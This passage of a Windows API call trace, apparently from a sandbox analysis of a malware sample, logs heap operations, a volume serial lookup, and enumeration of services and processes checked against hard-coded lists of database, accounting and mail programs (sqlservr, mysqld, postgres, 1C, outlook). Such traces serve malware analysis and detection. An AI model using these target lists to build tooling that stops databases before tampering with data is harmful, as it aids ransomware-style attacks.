0x602730 [0205.794] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x602730, Size=0x40) returned 0x5c7178 [0205.794] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c7178, Size=0x80) returned 0x60aee0 [0205.794] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aee0, Size=0x100) returned 0x5e0868 [0205.794] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641480, Size=0x8) returned 0x641490 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641490, Size=0x10) returned 0x5e4048 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4048, Size=0x20) returned 0x602730 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641450, Size=0x8) returned 0x641490 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641460, Size=0x8) returned 0x641450 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641480, Size=0x8) returned 0x6414a0 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6414a0, Size=0x10) returned 0x5e40f0 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e40f0, Size=0x20) returned 0x602758 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641490, Size=0x10) returned 0x5e40f0 [0205.795] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641450, Size=0x10) returned 0x5e4120 [0205.796] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641490, Size=0x8) returned 0x641480 [0205.796] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6414b0, Size=0x8) returned 0x6414c0 [0205.796] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e40f0, Size=0x20) returned 0x602780 [0205.796] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4120, Size=0x20) returned 0x6027a8 [0205.796] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x6414d0, Size=0x8) returned 0x6414e0 [0205.796] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4198, Size=0x20) returned 0x6027f8 [0205.797] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x61ffe8, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0205.797] lstrlenW (lpString="C:\\") returned 3 [0205.797] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.797] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x61ffe8 | out: hHeap=0x590000) returned 1 [0205.798] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641510, Size=0x82) returned 0x609e88 [0205.798] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x641530, Size=0x100) returned 0x5e0868 [0205.798] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x609e88, Size=0x104) returned 0x60ac88 [0205.798] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e0868, Size=0x200) returned 0x6051d8 [0205.799] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x641520 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x6051d8 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4240 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60b100 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e41f8 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60b078 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4228 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60ac88 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4210 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60ab68 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4258 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60abf8 | out: hHeap=0x590000) returned 1 [0205.800] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5e4270 | out: hHeap=0x590000) returned 1 [0205.800] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e4270, Size=0x20) returned 0x640428 [0205.800] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x640428, Size=0x40) returned 0x5c7178 [0205.802] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5c7ee8*=0x124, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 28 os_tid = 0x550 Thread: id = 30 os_tid = 0x5d0 [0199.074] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec440 [0199.074] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec440, Size=0x20) returned 0x5a4640 [0199.074] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4640, Size=0x40) returned 0x5c6d40 [0199.074] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6d40, Size=0x80) returned 0x60aff0 [0199.074] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aff0, Size=0x100) returned 0x60eed0 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec440 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec440, Size=0x20) returned 0x5a4640 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4640, Size=0x40) returned 0x5c6d40 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c6d40, Size=0x80) returned 0x60aff0 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x60aff0, Size=0x100) returned 0x5c9c80 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5ec440 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5c95f0 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5ec458 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c95f0, Size=0x8) returned 0x5c9600 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5c6200 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9600, Size=0x10) returned 0x5ec470 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x18) returned 0x5c6220 [0199.075] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1a) returned 0x5a4640 [0199.075] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec470, Size=0x20) returned 0x5a4668 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1c) returned 0x5a4618 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x16) returned 0x5c6240 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1a) returned 0x5c5ba0 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5ec470 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5c9600 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x40) returned 0x5c6d40 [0199.076] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c9600, Size=0x8) returned 0x5c95f0 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x3c) returned 0x5c6d88 [0199.076] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c95f0, Size=0x10) returned 0x5ec488 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5c6260 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x18) returned 0x5c6280 [0199.076] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5ec488, Size=0x20) returned 0x5c5bf0 [0199.076] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x24) returned 0x5c55c8 [0199.077] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0199.077] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x60eed0 | out: hHeap=0x590000) returned 1 [0199.077] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0199.077] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c9c80 | out: hHeap=0x590000) returned 1 [0199.077] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5c5d08 [0199.191] EnumServicesStatusExW (in: hSCManager=0x5c5d08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0199.194] GetLastError () returned 0xea [0199.195] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa08) returned 0x630138 [0199.195] EnumServicesStatusExW (in: hSCManager=0x5c5d08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x630138, cbBufSize=0xa08, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x630138, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0199.198] CloseServiceHandle (hSCObject=0x5c5d08) returned 1 [0199.199] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0199.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.199] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0199.199] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0199.199] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0199.199] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0199.199] lstrlenW (lpString="AudioSrv") returned 8 [0199.199] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0199.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0199.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0199.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0199.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0199.200] lstrlenW (lpString="BFE") returned 3 [0199.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0199.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0199.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0199.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0199.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0199.200] lstrlenW (lpString="CscService") returned 10 [0199.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0199.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0199.200] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0199.200] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0199.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0199.201] lstrlenW (lpString="DcomLaunch") returned 10 [0199.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0199.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0199.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0199.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0199.201] lstrlenW (lpString="Dhcp") returned 4 [0199.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0199.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0199.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0199.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0199.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0199.201] lstrlenW (lpString="Dnscache") returned 8 [0199.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0199.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0199.202] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0199.202] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0199.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0199.202] lstrlenW (lpString="eventlog") returned 8 [0199.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0199.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0199.202] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0199.202] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0199.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0199.202] lstrlenW (lpString="EventSystem") returned 11 [0199.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0199.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0199.202] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0199.203] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0199.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0199.203] lstrlenW (lpString="gpsvc") returned 5 [0199.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0199.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0199.203] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0199.203] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0199.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0199.203] lstrlenW (lpString="lmhosts") returned 7 [0199.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0199.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0199.203] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0199.203] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0199.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0199.204] lstrlenW (lpString="MMCSS") returned 5 [0199.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0199.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0199.204] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0199.204] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0199.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0199.204] lstrlenW (lpString="nsi") returned 3 [0199.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.204] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.204] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.204] lstrlenW (lpString="PlugPlay") returned 8 [0199.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.205] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.205] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.205] lstrlenW (lpString="Power") returned 5 [0199.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.206] lstrlenW (lpString="ProfSvc") returned 7 [0199.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.206] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.206] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.207] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.207] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.207] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.207] lstrlenW (lpString="RpcSs") returned 5 [0199.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.207] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.207] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.207] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.207] lstrlenW (lpString="SamSs") returned 5 [0199.207] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.208] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.208] lstrlenW (lpString="Schedule") returned 8 [0199.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.208] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.208] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.208] lstrlenW (lpString="SENS") returned 4 [0199.208] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.208] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.208] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.209] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.209] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.209] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.209] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.209] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.209] lstrlenW (lpString="Spooler") returned 7 [0199.209] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.209] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.209] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.209] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.210] lstrlenW (lpString="Themes") returned 6 [0199.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0199.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0199.210] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0199.210] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0199.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0199.210] lstrlenW (lpString="UxSms") returned 5 [0199.210] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0199.210] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0199.210] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0199.210] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0199.210] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0199.211] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x630138 | out: hHeap=0x590000) returned 1 [0199.211] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x124 [0199.217] Process32FirstW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.218] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.219] lstrlenW (lpString="System") returned 6 [0199.219] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0199.219] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0199.219] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0199.219] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0199.219] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0199.219] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0199.219] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0199.219] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.220] lstrlenW (lpString="smss.exe") returned 8 [0199.220] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0199.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0199.221] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0199.221] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0199.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0199.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0199.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0199.221] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.222] lstrlenW (lpString="csrss.exe") returned 9 [0199.222] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0199.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0199.222] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0199.222] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0199.222] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0199.222] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0199.222] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0199.223] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.223] lstrlenW (lpString="wininit.exe") returned 11 [0199.224] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0199.224] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0199.224] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0199.224] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0199.224] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0199.224] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0199.224] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0199.224] Process32NextW (in: hSnapshot=0x124, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.225] lstrlenW (lpString="csrss.exe") returned 9 [0199.225] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0199.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0199.225] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0199.225] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0199.225] 